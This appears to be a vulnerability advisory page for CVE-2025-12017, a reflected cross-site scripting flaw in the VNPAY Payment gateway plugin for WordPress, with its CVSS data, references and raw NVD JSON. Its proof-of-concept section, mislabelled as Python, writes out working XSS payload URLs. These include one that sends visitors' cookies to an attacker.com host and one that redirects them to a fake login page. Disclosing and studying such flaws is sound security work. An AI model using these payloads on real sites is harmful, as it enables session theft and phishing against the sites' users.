CVE-2025-12017

Description

The VNPAY Payment gateway plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'message' parameter in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

VNPAY Payment gateway plugin for WordPress <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12017 PoC - Reflected XSS in VNPAY Payment plugin -->
<!-- Target: WordPress site with VNPAY Payment gateway plugin <= 1.0.0 -->
<!-- Vulnerable Parameter: message -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-12017 PoC</title>
</head>
<body>
    <h2>CVE-2025-12017 - VNPAY Payment Plugin XSS PoC</h2>
    
    <!-- Basic XSS PoC -->
    <p>Malicious URL:</p>
    <code>http://[TARGET-WORDPRESS]/wp-json/vnpay/thankyou?message=<script>alert('XSS')</script></code>
    
    <!-- Cookie Stealing PoC -->
    <p>Cookie Stealing URL:</p>
    <code>http://[TARGET-WORDPRESS]/wp-json/vnpay/thankyou?message=<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"></code>
    
    <!-- Phishing Redirect PoC -->
    <p>Phishing Redirect URL:</p>
    <code>http://[TARGET-WORDPRESS]/wp-json/vnpay/thankyou?message=<script>window.location.href='https://attacker.com/fake-login';</script></code>
    
    <script>
        // Generate attack URLs
        const targetBase = window.location.origin;
        const xssPayload = "<script>alert(document.domain)<\/script>";
        const attackUrl = `${targetBase}/wp-json/vnpay/thankyou?message=${encodeURIComponent(xssPayload)}`;
        
        console.log('Attack URL:', attackUrl);
        document.getElementById('attack-url').textContent = attackUrl;
    </script>
    
    <p>Generated Attack URL: <span id="attack-url"></span></p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12017
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12017
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12017/
[4] VulDB https://vuldb.com/cve/CVE-2025-12017
[5] https://plugins.svn.wordpress.org/vnpay-for-woocommerce/trunk/src/shortcodes/Thankyou.php
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/b901f593-3691-4ea1-8ab6-1ddd68fa2e36?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12017", "sourceIdentifier": "[email protected]", "published": "2025-10-24T09:15:44.183", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The VNPAY Payment gateway plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'message' parameter in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.svn.wordpress.org/vnpay-for-woocommerce/trunk/src/shortcodes/Thankyou.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b901f593-3691-4ea1-8ab6-1ddd68fa2e36?source=cve", "source": "[email protected]"}]}}